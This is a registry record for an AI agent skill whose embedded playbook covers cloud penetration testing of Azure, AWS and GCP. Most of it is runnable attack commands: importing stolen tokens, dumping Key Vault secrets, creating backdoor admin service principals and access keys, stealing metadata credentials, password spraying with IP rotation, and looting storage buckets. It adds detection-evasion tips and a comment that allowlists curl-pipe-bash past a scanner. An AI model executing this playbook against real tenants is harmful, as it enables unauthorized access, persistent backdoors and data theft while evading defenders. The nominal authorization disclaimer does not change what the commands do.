{"id":"036239b0-db99-455f-a98b-6d1b1523a19e","shortId":"vKMKAF","kind":"skill","title":"cloud-penetration-testing","tagline":"Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP).","description":"> AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.\n\n<!-- security-allowlist: curl-pipe-bash -->\n\n# Cloud Penetration Testing\n\n## Purpose\n\nConduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.\n\n## Prerequisites\n\n### Required Tools\n```bash\n# Azure tools\nInstall-Module -Name Az -AllowClobber -Force\nInstall-Module -Name MSOnline -Force\nInstall-Module -Name AzureAD -Force\n\n# AWS CLI\ncurl \"https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip\" -o \"awscliv2.zip\"\nunzip awscliv2.zip && sudo ./aws/install\n\n# GCP CLI\ncurl https://sdk.cloud.google.com | bash\ngcloud init\n\n# Additional tools\npip install scoutsuite pacu\n```\n\n### Required Knowledge\n- Cloud architecture fundamentals\n- Identity and Access Management (IAM)\n- API authentication mechanisms\n- DevOps and automation concepts\n\n### Required Access\n- Written authorization for testing\n- Test credentials or access tokens\n- Defined scope and rules of engagement\n\n## Outputs and Deliverables\n\n1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings\n2. **Resource Inventory** - Enumerated services, storage, and compute instances\n3. **Credential Findings** - Exposed secrets, keys, and misconfigurations\n4. **Remediation Recommendations** - Hardening guidance per platform\n\n## Core Workflow\n\n### Phase 1: Reconnaissance\n\nGather initial information about target cloud presence:\n\n```bash\n# Azure: Get federation info\ncurl \"https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1\"\n\n# Azure: Get Tenant ID\ncurl \"https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration\"\n\n# Enumerate cloud resources by company name\npython3 cloud_enum.py -k targetcompany\n\n# Check IP against cloud providers\ncat ips.txt | python3 ip2provider.py\n```\n\n### Phase 2: Azure Authentication\n\nAuthenticate to Azure environments:\n\n```powershell\n# Az PowerShell Module\nImport-Module Az\nConnect-AzAccount\n\n# With credentials (may bypass MFA)\n$credential = Get-Credential\nConnect-AzAccount -Credential $credential\n\n# Import stolen context\nImport-AzContext -Profile 'C:\\Temp\\StolenToken.json'\n\n# Export context for persistence\nSave-AzContext -Path C:\\Temp\\AzureAccessToken.json\n\n# MSOnline Module\nImport-Module MSOnline\nConnect-MsolService\n```\n\n### Phase 3: Azure Enumeration\n\nDiscover Azure resources and permissions:\n\n```powershell\n# List contexts and subscriptions\nGet-AzContext -ListAvailable\nGet-AzSubscription\n\n# Current user role assignments\nGet-AzRoleAssignment\n\n# List resources\nGet-AzResource\nGet-AzResourceGroup\n\n# Storage accounts\nGet-AzStorageAccount\n\n# Web applications\nGet-AzWebApp\n\n# SQL Servers and databases\nGet-AzSQLServer\nGet-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG\n\n# Virtual machines\nGet-AzVM\n$vm = Get-AzVM -Name \"VMName\"\n$vm.OSProfile\n\n# List all users\nGet-MSolUser -All\n\n# List all groups\nGet-MSolGroup -All\n\n# Global Admins\nGet-MsolRole -RoleName \"Company Administrator\"\nGet-MSolGroupMember -GroupObjectId $GUID\n\n# Service Principals\nGet-MsolServicePrincipal\n```\n\n### Phase 4: Azure Exploitation\n\nExploit Azure misconfigurations:\n\n```powershell\n# Search user attributes for passwords\n$users = Get-MsolUser -All\nforeach($user in $users){\n    $props = @()\n    $user | Get-Member | foreach-object{$props+=$_.Name}\n    foreach($prop in $props){\n        if($user.$prop -like \"*password*\"){\n            Write-Output (\"[*]\" + $user.UserPrincipalName + \"[\" + $prop + \"]\" + \" : \" + $user.$prop)\n        }\n    }\n}\n\n# Execute commands on VMs\nInvoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1\n\n# Extract VM UserData\n$vms = Get-AzVM\n$vms.UserData\n\n# Dump Key Vault secrets\naz keyvault list --query '[].name' --output tsv\naz keyvault set-policy --name <vault> --upn <user> --secret-permissions get list\naz keyvault secret list --vault-name <vault> --query '[].id' --output tsv\naz keyvault secret show --id <URI>\n```\n\n### Phase 5: Azure Persistence\n\nEstablish persistence in Azure:\n\n```powershell\n# Create backdoor service principal\n$spn = New-AzAdServicePrincipal -DisplayName \"WebService\" -Role Owner\n$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)\n$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)\n\n# Add service principal to Global Admin\n$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>\n$role = Get-MsolRole -RoleName \"Company Administrator\"\nAdd-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId\n\n# Login as service principal\n$cred = Get-Credential  # AppID as username, secret as password\nConnect-AzAccount -Credential $cred -Tenant \"tenant-id\" -ServicePrincipal\n\n# Create new admin user via CLI\naz ad user create --display-name <name> --password <pass> --user-principal-name <upn>\n```\n\n### Phase 6: AWS Authentication\n\nAuthenticate to AWS environments:\n\n```bash\n# Configure AWS CLI\naws configure\n# Enter: Access Key ID, Secret Access Key, Region, Output format\n\n# Use specific profile\naws configure --profile target\n\n# Test credentials\naws sts get-caller-identity\n```\n\n### Phase 7: AWS Enumeration\n\nDiscover AWS resources:\n\n```bash\n# Account information\naws sts get-caller-identity\naws iam list-users\naws iam list-roles\n\n# S3 Buckets\naws s3 ls\naws s3 ls s3://bucket-name/\naws s3 sync s3://bucket-name ./local-dir\n\n# EC2 Instances\naws ec2 describe-instances\n\n# RDS Databases\naws rds describe-db-instances --region us-east-1\n\n# Lambda Functions\naws lambda list-functions --region us-east-1\naws lambda get-function --function-name <name>\n\n# EKS Clusters\naws eks list-clusters --region us-east-1\n\n# Networking\naws ec2 describe-subnets\naws ec2 describe-security-groups --group-ids <sg-id>\naws directconnect describe-connections\n```\n\n### Phase 8: AWS Exploitation\n\nExploit AWS misconfigurations:\n\n```bash\n# Check for public RDS snapshots\naws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier\naws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>\n# AttributeValues = \"all\" means publicly accessible\n\n# Extract Lambda environment variables (may contain secrets)\naws lambda get-function --function-name <name> | jq '.Configuration.Environment'\n\n# Access metadata service (from compromised EC2)\ncurl http://169.254.169.254/latest/meta-data/\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# IMDSv2 access\nTOKEN=$(curl -X PUT \"http://169.254.169.254/latest/api/token\" -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\")\ncurl http://169.254.169.254/latest/meta-data/profile -H \"X-aws-ec2-metadata-token: $TOKEN\"\n```\n\n### Phase 9: AWS Persistence\n\nEstablish persistence in AWS:\n\n```bash\n# List existing access keys\naws iam list-access-keys --user-name <username>\n\n# Create backdoor access key\naws iam create-access-key --user-name <username>\n\n# Get all EC2 public IPs\nfor region in $(cat regions.txt); do\n    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'\ndone\n```\n\n### Phase 10: GCP Enumeration\n\nDiscover GCP resources:\n\n```bash\n# Authentication\ngcloud auth login\ngcloud auth activate-service-account --key-file creds.json\ngcloud auth list\n\n# Account information\ngcloud config list\ngcloud organizations list\ngcloud projects list\n\n# IAM Policies\ngcloud organizations get-iam-policy <org-id>\ngcloud projects get-iam-policy <project-id>\n\n# Enabled services\ngcloud services list\n\n# Source code repos\ngcloud source repos list\ngcloud source repos clone <repo>\n\n# Compute instances\ngcloud compute instances list\ngcloud beta compute ssh --zone \"region\" \"instance\" --project \"project\"\n\n# Storage buckets\ngsutil ls\ngsutil ls -r gs://bucket-name\ngsutil cp gs://bucket/file ./local\n\n# SQL instances\ngcloud sql instances list\ngcloud sql databases list --instance <id>\n\n# Kubernetes\ngcloud container clusters list\ngcloud container clusters get-credentials <cluster> --region <region>\nkubectl cluster-info\n```\n\n### Phase 11: GCP Exploitation\n\nExploit GCP misconfigurations:\n\n```bash\n# Get metadata service data\ncurl \"http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text\" -H \"Metadata-Flavor: Google\"\n\n# Check access scopes\ncurl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'\n\n# Decrypt data with keyring\ngcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global\n\n# Serverless function analysis\ngcloud functions list\ngcloud functions describe <name>\ngcloud functions logs read <name> --limit 100\n\n# Find stored credentials\nsudo find /home -name \"credentials.db\"\nsudo cp -r /home/user/.config/gcloud ~/.config\ngcloud auth list\n```\n\n## Quick Reference\n\n### Azure Key Commands\n\n| Action | Command |\n|--------|---------|\n| Login | `Connect-AzAccount` |\n| List subscriptions | `Get-AzSubscription` |\n| List users | `Get-MsolUser -All` |\n| List groups | `Get-MsolGroup -All` |\n| Current roles | `Get-AzRoleAssignment` |\n| List VMs | `Get-AzVM` |\n| List storage | `Get-AzStorageAccount` |\n| Key Vault secrets | `az keyvault secret list --vault-name <name>` |\n\n### AWS Key Commands\n\n| Action | Command |\n|--------|---------|\n| Configure | `aws configure` |\n| Caller identity | `aws sts get-caller-identity` |\n| List users | `aws iam list-users` |\n| List S3 buckets | `aws s3 ls` |\n| List EC2 | `aws ec2 describe-instances` |\n| List Lambda | `aws lambda list-functions` |\n| Metadata | `curl http://169.254.169.254/latest/meta-data/` |\n\n### GCP Key Commands\n\n| Action | Command |\n|--------|---------|\n| Login | `gcloud auth login` |\n| List projects | `gcloud projects list` |\n| List instances | `gcloud compute instances list` |\n| List buckets | `gsutil ls` |\n| List clusters | `gcloud container clusters list` |\n| IAM policy | `gcloud projects get-iam-policy <project>` |\n| Metadata | `curl -H \"Metadata-Flavor: Google\" http://metadata.google.internal/...` |\n\n### Metadata Service URLs\n\n| Provider | URL |\n|----------|-----|\n| AWS | `http://169.254.169.254/latest/meta-data/` |\n| Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` |\n| GCP | `http://metadata.google.internal/computeMetadata/v1/` |\n\n### Useful Tools\n\n| Tool | Purpose |\n|------|---------|\n| ScoutSuite | Multi-cloud security auditing |\n| Pacu | AWS exploitation framework |\n| AzureHound | Azure AD attack path mapping |\n| ROADTools | Azure AD enumeration |\n| WeirdAAL | AWS service enumeration |\n| MicroBurst | Azure security assessment |\n| PowerZure | Azure post-exploitation |\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test with explicit written authorization\n- Respect scope boundaries between cloud accounts\n- Do not access production customer data\n- Document all testing activities\n\n### Technical Limitations\n- MFA may prevent credential-based attacks\n- Conditional Access policies may restrict access\n- CloudTrail/Activity Logs record all API calls\n- Some resources require specific regional access\n\n### Detection Considerations\n- Cloud providers log all API activity\n- Unusual access patterns trigger alerts\n- Use slow, deliberate enumeration\n- Consider GuardDuty, Security Center, Cloud Armor\n\n## Examples\n\n### Example 1: Azure Password Spray\n\n**Scenario:** Test Azure AD password policy\n\n```powershell\n# Using MSOLSpray with FireProx for IP rotation\n# First create FireProx endpoint\npython fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create\n\n# Spray passwords\nImport-Module .\\MSOLSpray.ps1\nInvoke-MSOLSpray -UserList .\\users.txt -Password \"Spring2024!\" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox\n```\n\n### Example 2: AWS S3 Bucket Enumeration\n\n**Scenario:** Find and access misconfigured S3 buckets\n\n```bash\n# List all buckets\naws s3 ls | awk '{print $3}' > buckets.txt\n\n# Check each bucket for contents\nwhile read bucket; do\n    echo \"Checking: $bucket\"\n    aws s3 ls s3://$bucket 2>/dev/null\ndone < buckets.txt\n\n# Download interesting bucket\naws s3 sync s3://misconfigured-bucket ./loot/\n```\n\n### Example 3: GCP Service Account Compromise\n\n**Scenario:** Pivot using compromised service account\n\n```bash\n# Authenticate with service account key\ngcloud auth activate-service-account --key-file compromised-sa.json\n\n# List accessible projects\ngcloud projects list\n\n# Enumerate compute instances\ngcloud compute instances list --project target-project\n\n# Check for SSH keys in metadata\ngcloud compute project-info describe --project target-project | grep ssh\n\n# SSH to instance\ngcloud beta compute ssh instance-name --zone us-central1-a --project target-project\n```\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Authentication failures | Verify credentials; check MFA; ensure correct tenant/project; try alternative auth methods |\n| Permission denied | List current roles; try different resources; check resource policies; verify region |\n| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |\n| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |\n\n## References\n\n- [Advanced Cloud Scripts](references/advanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.","tags":["cloud","penetration","testing","antigravity","awesome","skills","sickn33","agent-skills","agentic-skills","ai-agent-skills","ai-agents","ai-coding"],"capabilities":["skill","source-sickn33","skill-cloud-penetration-testing","topic-agent-skills","topic-agentic-skills","topic-ai-agent-skills","topic-ai-agents","topic-ai-coding","topic-ai-workflows","topic-antigravity","topic-antigravity-skills","topic-claude-code","topic-claude-code-skills","topic-codex-cli","topic-codex-skills"],"categories":["antigravity-awesome-skills"],"synonyms":[],"warnings":[],"endpointUrl":"https://skills.sh/sickn33/antigravity-awesome-skills/cloud-penetration-testing","protocol":"skill","transport":"skills-sh","auth":{"type":"none","details":{"cli":"npx skills add sickn33/antigravity-awesome-skills","source_repo":"https://github.com/sickn33/antigravity-awesome-skills","install_from":"skills.sh"}},"qualityScore":"0.700","qualityRationale":"deterministic score 0.70 from registry signals: · indexed on github topic:agent-skills · 34882 github stars · SKILL.md body (13,850 chars)","verified":false,"liveness":"unknown","lastLivenessCheck":null,"agentReviews":{"count":0,"score_avg":null,"cost_usd_avg":null,"success_rate":null,"latency_p50_ms":null,"narrative_summary":null,"summary_updated_at":null},"enrichmentModel":"deterministic:skill-github:v1","enrichmentVersion":1,"enrichedAt":"2026-04-24T12:50:47.109Z","embedding":null,"createdAt":"2026-04-18T21:34:32.185Z","updatedAt":"2026-04-24T12:50:47.109Z","lastSeenAt":"2026-04-24T12:50:47.109Z","tsv":"'-01':1310 '-02':1309 '/...':1293 '/.config':1142 '/aws/install':120 '/awscli-exe-linux-x86_64.zip':114 '/bucket-name':702,707 '/computemetadata/v1/':1314 '/computemetadata/v1/?recursive=true&alt=text':1078 '/computemetadata/v1/instance/service-accounts/default/scopes':1090 '/dev/null':1528 '/fireprox':1485 '/getuserrealm.srf?login=user@target.com&xml=1':225 '/home':1135 '/home/user/.config/gcloud':1141 '/latest/api/token':859 '/latest/meta-data':848,1245,1301 '/latest/meta-data/iam/security-credentials':851 '/latest/meta-data/profile':872 '/local':1035 '/local-dir':708 '/loot':1539 '/metadata/instance':1304 '/misconfigured-bucket':1538 '/script.ps1':482 '/target.com/v2.0/.well-known/openid-configuration':233 '1':171,208,728,740,760,1431,1464 '10':942 '100':1129 '11':1064 '169.254.169.254':847,850,858,871,1244,1300,1303,1663 '2':181,254,1487,1527 '2018':1308 '21600':869 '3':190,317,1508,1541 '4':198,421 '5':531 '6':629 '7':668 '8':782 '9':882 'access':141,152,160,643,647,822,840,853,892,898,905,911,1085,1371,1389,1393,1405,1415,1455,1458,1495,1569 'account':353,675,958,966,1368,1544,1551,1556,1563 'across':12,52,1669 'action':1151,1202,1249,1709 'activ':956,1378,1413,1561 'activate-service-account':955,1560 'ad':617,1331,1337,1438 'add':559,578,1666 'add-msolrolememb':577 'addit':128 'admin':403,564,612 'administr':409,576 'advanc':1681,1695 'alert':1418 'allowclobb':95 'altern':1635 'amazon':15,55 'analysi':1117 'api':144,1306,1398,1412 'api-vers':1305 'app':1689 'appid':594 'applic':358,1703 'appprincipalid':569 'architectur':137 'armor':1428 'assess':8,34,48,174,1346 'assign':340 'attack':1332,1387 'attribut':430,813 'attributevalu':818 'audit':1324 'auth':951,954,964,1144,1253,1559,1636 'authent':68,145,256,257,631,632,949,1553,1625 'author':24,32,80,154,1362 'autom':149,1686 'aw':18,58,109,630,634,638,640,655,661,669,672,677,683,688,695,698,703,711,718,731,741,751,762,767,776,783,786,794,807,830,863,876,883,888,894,907,927,1199,1205,1209,1217,1225,1230,1237,1299,1326,1340,1488,1503,1522,1534,1656,1691 'awk':1506 'awscli.amazonaws.com':113 'awscli.amazonaws.com/awscli-exe-linux-x86_64.zip':112 'awscliv2.zip':116,118 'az':94,262,268,495,502,514,525,616,1192 'azaccount':271,283,602,1156 'azadserviceprincip':546 'azcontext':291,302,332 'azresourc':348 'azresourcegroup':351 'azroleassign':343,1178 'azsqldatabas':371 'azsqlserv':368 'azstorageaccount':356,1188 'azsubscript':336,1161 'azur':14,54,88,218,226,255,259,318,321,422,425,532,537,1148,1302,1330,1336,1344,1348,1432,1437,1685 'azureaccesstoken.json':306 'azuread':107 'azurehound':1329 'azvm':380,384,489,1183 'azvmruncommand':474 'azwebapp':361 'backdoor':540,904 'base':1386 'bash':87,125,217,636,674,788,889,948,1070,1499,1552 'beta':1014,1607 'block':1653 'boundari':1365 'bstr':551,558 'bucket':694,1023,1030,1224,1267,1490,1498,1502,1512,1517,1521,1526,1533 'bucket-nam':1029 'bucket/file':1034 'buckets.txt':1509,1530 'bypass':275 'c':293,304 'call':1399 'caller':665,681,1207,1213 'cat':249,924 'center':1426 'central1':1616 'check':244,789,1084,1510,1520,1585,1629,1646,1654,1660 'ciphertext':1104 'ciphertext-fil':1103 'cli':110,122,615,639 'clone':1006 'cloud':2,10,21,41,50,61,81,136,172,215,235,247,1322,1367,1408,1427,1682 'cloud-penetration-test':1 'cloud_enum.py':241 'cloudtrail/activity':1394 'cluster':750,755,1050,1054,1061,1271,1274 'cluster-info':1060 'code':997 'command':469,1150,1152,1201,1203,1248,1250,1467 'commandid':479 'compani':238,408,575 'comprehens':6,46,176 'compromis':844,1545,1549 'compromised-sa.json':1567 'comput':188,1007,1010,1015,1263,1575,1578,1592,1608 'concept':150 'condit':1388 'conduct':5,45 'config':969 'configur':637,641,656,1204,1206 'configuration.environment':839 'connect':270,282,314,601,780,1155 'connect-azaccount':269,281,600,1154 'connect-msolservic':313 'consid':1423 'consider':1407 'constraint':1352 'contain':828,1049,1053,1273 'content':1514 'context':288,297,327 'control':38 'core':205 'correct':1632 'cover':66 'cp':1033,1139 'creat':539,610,619,903,910,1450,1468 'create-access-key':909 'cred':590,604 'credenti':158,191,273,277,280,284,285,593,603,660,1057,1132,1385,1628,1673 'credential-bas':1384 'credentials.db':1137 'creds.json':962 'curl':111,123,222,230,846,849,855,870,1075,1087,1243,1285 'current':337,1174,1641 'custom':1373 'data':74,1074,1097,1374,1692 'databas':365,717,1044 'db':722,798,811,815 'db-snapshot-identifi':814 'dbsnapshot':805 'dbsnapshotidentifi':806 'decrypt':1096,1102 'defens':35 'defin':162 'delay':1667 'deliber':1421 'deliver':170 'deni':1639 'describ':714,721,765,770,779,797,810,930,1123,1233,1596,1710 'describe-connect':778 'describe-db-inst':720 'describe-db-snapshot':796 'describe-db-snapshot-attribut':809 'describe-inst':713,929,1232 'describe-security-group':769 'describe-subnet':764 'detect':1406 'devop':147 'differ':1644 'directconnect':777 'discov':320,671,945 'display':621 'display-nam':620 'displaynam':547 'document':1375 'done':940,1529 'download':1531 'dump':491 'east':727,739,759,1463 'ec2':709,712,763,768,845,864,877,918,928,1229,1231 'echo':1519 'educ':39 'ek':749,752 'enabl':991 'encrypted.enc':1106 'endpoint':1452 'engag':83,167 'ensur':1631 'enter':642 'enumer':71,184,234,319,670,944,1338,1342,1422,1491,1574,1690 'environ':40,260,635,825 'escal':73 'establish':534,885 'exampl':1429,1430,1486,1540 'execut':468,1705 'execute-api.us-east-1.amazonaws.com':1484 'execute-api.us-east-1.amazonaws.com/fireprox':1483 'exfiltr':1693 'exist':891 'explicit':1360 'exploit':423,424,784,785,1066,1067,1327,1351,1696 'export':296 'expos':193 'extract':75,483,823 'failur':1626 'feder':220 'file':961,1105,1109,1566 'find':177,192,1130,1134,1493 'fire.py':1454 'fireprox':1445,1451 'firewal':1661 'first':1449 'flavor':1082,1094,1289 'focus':1674 'forc':96,102,108 'foreach':438,448,452 'foreach-object':447 'format':651 'framework':1328 'function':730,735,745,747,834,836,1116,1119,1122,1125,1241,1688 'function-nam':746,835 'fundament':138 'gather':210 'gcloud':126,950,953,963,968,971,974,979,985,993,999,1003,1009,1013,1038,1042,1048,1052,1100,1118,1121,1124,1143,1252,1257,1262,1272,1278,1558,1571,1577,1591,1606 'gcp':23,63,121,943,946,1065,1068,1246,1311,1542,1694 'get':219,227,279,331,335,342,347,350,355,360,367,370,379,383,392,399,405,411,418,435,445,488,512,567,572,592,664,680,744,833,916,982,988,1056,1071,1160,1165,1171,1177,1182,1187,1212,1281 'get-azcontext':330 'get-azresourc':346 'get-azresourcegroup':349 'get-azroleassign':341,1176 'get-azsqldatabas':369 'get-azsqlserv':366 'get-azstorageaccount':354,1186 'get-azsubscript':334,1159 'get-azvm':378,382,487,1181 'get-azwebapp':359 'get-caller-ident':663,679,1211 'get-credenti':278,591,1055 'get-funct':743,832 'get-iam-polici':981,987,1280 'get-memb':444 'get-msolgroup':398,1170 'get-msolgroupmemb':410 'get-msolrol':404,571 'get-msolserviceprincip':417,566 'get-msolus':391,434,1164 'global':402,563,1114 'googl':20,60,1083,1095,1290 'grep':1601 'group':397,772,774,1169 'group-id':773 'groupobjectid':413 'gsutil':1024,1026,1032,1268 'guardduti':1424 'guid':414 'guidanc':202 'h':860,873,1079,1091,1286 'harden':201 'high':1677 'high-valu':1676 'iam':143,684,689,895,908,977,983,989,1218,1276,1282 'id':229,522,529,608,645,775 'ident':139,666,682,1208,1214 'identifi':817 'imdsv2':852,1655 'import':266,286,290,310,1472 'import-azcontext':289 'import-modul':265,309,1471 'info':221,1062,1595 'inform':212,676,967 'infrastructur':11,51 'init':127 'initi':211 'instal':91,98,104,131 'install-modul':90,97,103 'instanc':189,710,715,723,931,934,1008,1011,1019,1037,1040,1046,1234,1261,1264,1576,1579,1605,1611,1658 'instance-nam':1610 'interest':1532 'inventori':183 'invok':473,1476 'invoke-azvmruncommand':472 'invoke-msolspray':1475 'ip':245,920,1447 'ip2provider.py':252 'ips.txt':250 'issu':1623 'jq':838,938 'k':242 'key':195,492,644,648,893,899,906,912,960,1111,1149,1189,1200,1247,1456,1459,1557,1565,1588 'key-fil':959,1564 'keyr':1099,1112 'keyvault':496,503,515,526,1193 'kms':1101 'knowledg':135 'kubectl':1059 'kubernet':1047 'lambda':729,732,742,824,831,1236,1238 'legal':1355 'like':459 'limit':1128,1354,1380,1665 'list':326,344,388,395,497,513,517,686,691,734,754,890,897,965,970,973,976,995,1002,1012,1041,1045,1051,1120,1145,1157,1162,1168,1179,1184,1195,1215,1220,1222,1228,1235,1240,1255,1259,1260,1265,1266,1270,1275,1500,1568,1573,1580,1640 'list-access-key':896 'list-clust':753 'list-funct':733,1239 'list-rol':690 'list-us':685,1219 'listavail':333 'locat':1113 'log':1126,1395,1410 'login':586,952,1153,1251,1254 'login.microsoft.com':1466 'login.microsoftonline.com':224,232 'login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1':223 'login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration':231 'ls':697,700,1025,1027,1227,1269,1505,1524 'machin':377 'manag':142 'manual':803 'map':1334 'may':274,827,1382,1391 'mean':820 'mechan':146 'member':446 'metadata':841,865,878,1072,1081,1093,1242,1284,1288,1294,1590,1651 'metadata-flavor':1080,1092,1287 'metadata.google.internal':1077,1089,1292,1313 'metadata.google.internal/...':1291 'metadata.google.internal/computemetadata/v1/':1312 'metadata.google.internal/computemetadata/v1/?recursive=true&alt=text':1076 'metadata.google.internal/computemetadata/v1/instance/service-accounts/default/scopes':1088 'method':1637 'mfa':276,1381,1630 'microburst':1343 'microsoft':13,53 'misconfigur':197,426,787,1069,1496 'modul':92,99,105,264,267,308,311,1473 'msolgroup':400,1172 'msolgroupmemb':412 'msolrol':406,573 'msolrolememb':579 'msolservic':315 'msolserviceprincip':419,568 'msolspray':1443,1477 'msolspray.ps1':1474 'msolus':393,436,1166 'msonlin':101,307,312 'multi':1321 'multi-cloud':1320 'multipl':1672 'name':93,100,106,239,385,451,499,507,520,622,627,748,837,902,915,1031,1136,1198,1612 'network':761 'new':545,611 'new-azadserviceprincip':544 'o':115 'object':449 'organ':972,980 'out.txt':1110 'output':168,463,500,523,650 'overview':1713 'owner':550 'pacu':133,1325 'password':432,460,599,623,1433,1439,1470,1480 'path':303,1333 'pattern':1416 'penetr':3,42 'per':203 'permiss':324,511,1638 'persist':77,299,533,535,884,886 'phase':207,253,316,420,530,628,667,781,881,941,1063 'pip':130 'pivot':1547 'plaintext':1108 'plaintext-fil':1107 'platform':22,62,204 'polici':506,978,984,990,1277,1283,1390,1440,1648 'post':1350 'post-exploit':1349 'powershel':261,263,325,427,538,1441 'powerzur':1347 'prerequisit':84 'presenc':216 'prevent':1383 'princip':416,542,561,589,626 'print':1507 'privileg':72 'product':1372 'profil':292,654,657 'project':975,986,1020,1021,1256,1258,1279,1570,1572,1581,1584,1594,1597,1600,1618,1621 'project-info':1593 'prop':442,450,453,455,458,465,467 'provid':248,1297,1409 'ptrtostringauto':557 'public':791,821,919 'publicipaddress':935 'purpos':44,1318 'put':857 'python':1453 'python3':240,251 'queri':498,521,804,932 'quick':1146 'r':939,1028,1140 'rate':180,1664 'rds':716,719,792,795,808 'read':1127,1516 'recommend':200 'reconnaiss':67,209 'record':1396 'refer':1147,1680 'references/advanced-cloud-scripts.md':1684 'region':649,724,736,756,922,936,937,1018,1058,1404,1460,1650,1670 'regions.txt':925 'remedi':199 'repo':998,1001,1005 'report':175 'requir':85,134,151,1356,1402 'reserv':933 'resourc':70,182,236,322,345,673,947,1401,1645,1647 'resourcegroupnam':374,475 'respect':1363 'restrict':1392 'rg':375,476 'risk':179 'roadtool':1335 'role':339,549,570,692,1175,1642,1659 'role.objectid':581 'rolememberobjectid':584 'rolemembertyp':582 'rolenam':407,574 'roleobjectid':580 'rotat':1448 'rule':165 'runbook':1687 'runpowershellscript':480 's3':693,696,699,701,704,706,1223,1226,1489,1497,1504,1523,1525,1535,1537 'save':301 'save-azcontext':300 'scenario':1435,1492,1546 'scope':163,1086,1364 'scoutsuit':132,1319 'script':1683 'scriptpath':481 'sdk.cloud.google.com':124 'search':428 'second':868 'secret':194,494,510,516,527,597,646,829,1191,1194,1457 'secret-permiss':509 'secur':7,33,47,82,173,771,1323,1345,1425 'securestringtobstr':553 'server':363,373 'serverless':1115 'servernam':372 'servic':17,57,185,415,541,560,588,842,957,992,994,1073,1295,1341,1543,1550,1555,1562,1652 'serviceprincip':583,609 'set':505 'set-polici':504 'show':528 'skill':29,65,1701 'skill-cloud-penetration-testing' 'slow':1420 'snapshot':793,799,801,812,816 'snapshot-typ':800 'solut':1624 'sourc':996,1000,1004 'source-sickn33' 'sp':565 'sp.objectid':585 'specif':653,1403 'spn':543 'spn.secret':554 'spray':1434,1469 'spread':1668 'spring2024':1481 'sql':362,1036,1039,1043 'ssh':1016,1587,1602,1603,1609 'stolen':287 'stolentoken.json':295 'storag':186,352,1022,1185 'store':1131 'sts':662,678,1210 'subnet':766 'subscript':329,1158 'sudo':119,1133,1138 'sync':705,1536 'system.runtime.interopservices.marshal':552,556 'target':214,658,1583,1599,1620,1679 'target-project':1582,1598,1619 'targetcompani':243 'technic':1379 'techniqu':78 'temp':294,305 'tenant':228,605,607 'tenant-id':606 'tenant/project':1633 'test':4,43,69,156,157,659,1358,1377,1436 'token':161,854,866,879,880 'tool':86,89,129,1316,1317 'topic-agent-skills' 'topic-agentic-skills' 'topic-ai-agent-skills' 'topic-ai-agents' 'topic-ai-coding' 'topic-ai-workflows' 'topic-antigravity' 'topic-antigravity-skills' 'topic-claude-code' 'topic-claude-code-skills' 'topic-codex-cli' 'topic-codex-skills' 'tri':1634,1643 'trigger':1417 'troubleshoot':1622 'tsv':501,524 'ttl':867 'type':802 'unsecuresecret':555 'unusu':1414 'unzip':117 'upn':508 'url':1296,1298,1465,1482 'us':726,738,758,1462,1615 'us-central1-a':1614 'us-east':725,737,757,1461 'use':25,27,652,1315,1419,1442,1548,1671,1699 'user':338,390,429,433,439,441,443,457,466,613,618,625,687,901,914,1163,1216,1221 'user-nam':900,913 'user-principal-nam':624 'user.userprincipalname':464 'userdata':485 'userlist':1478 'usernam':596 'users.txt':1479 'valid':36 'valu':1678 'variabl':826 'vault':493,519,1190,1197 'vault-nam':518,1196 'verifi':1627,1649,1657 'version':1307 'via':614 'virtual':376 'vm':381,478,484 'vm.osprofile':387 'vmname':386,477 'vms':471,486,1180 'vms.userdata':490 'web':16,56,357 'webservic':548 'weirdaal':1339 'workflow':206,1707 'write':462 'write-output':461 'written':153,1361 'x':856,862,875 'x-aws-ec2-metadata-token':874 'x-aws-ec2-metadata-token-ttl-seconds':861 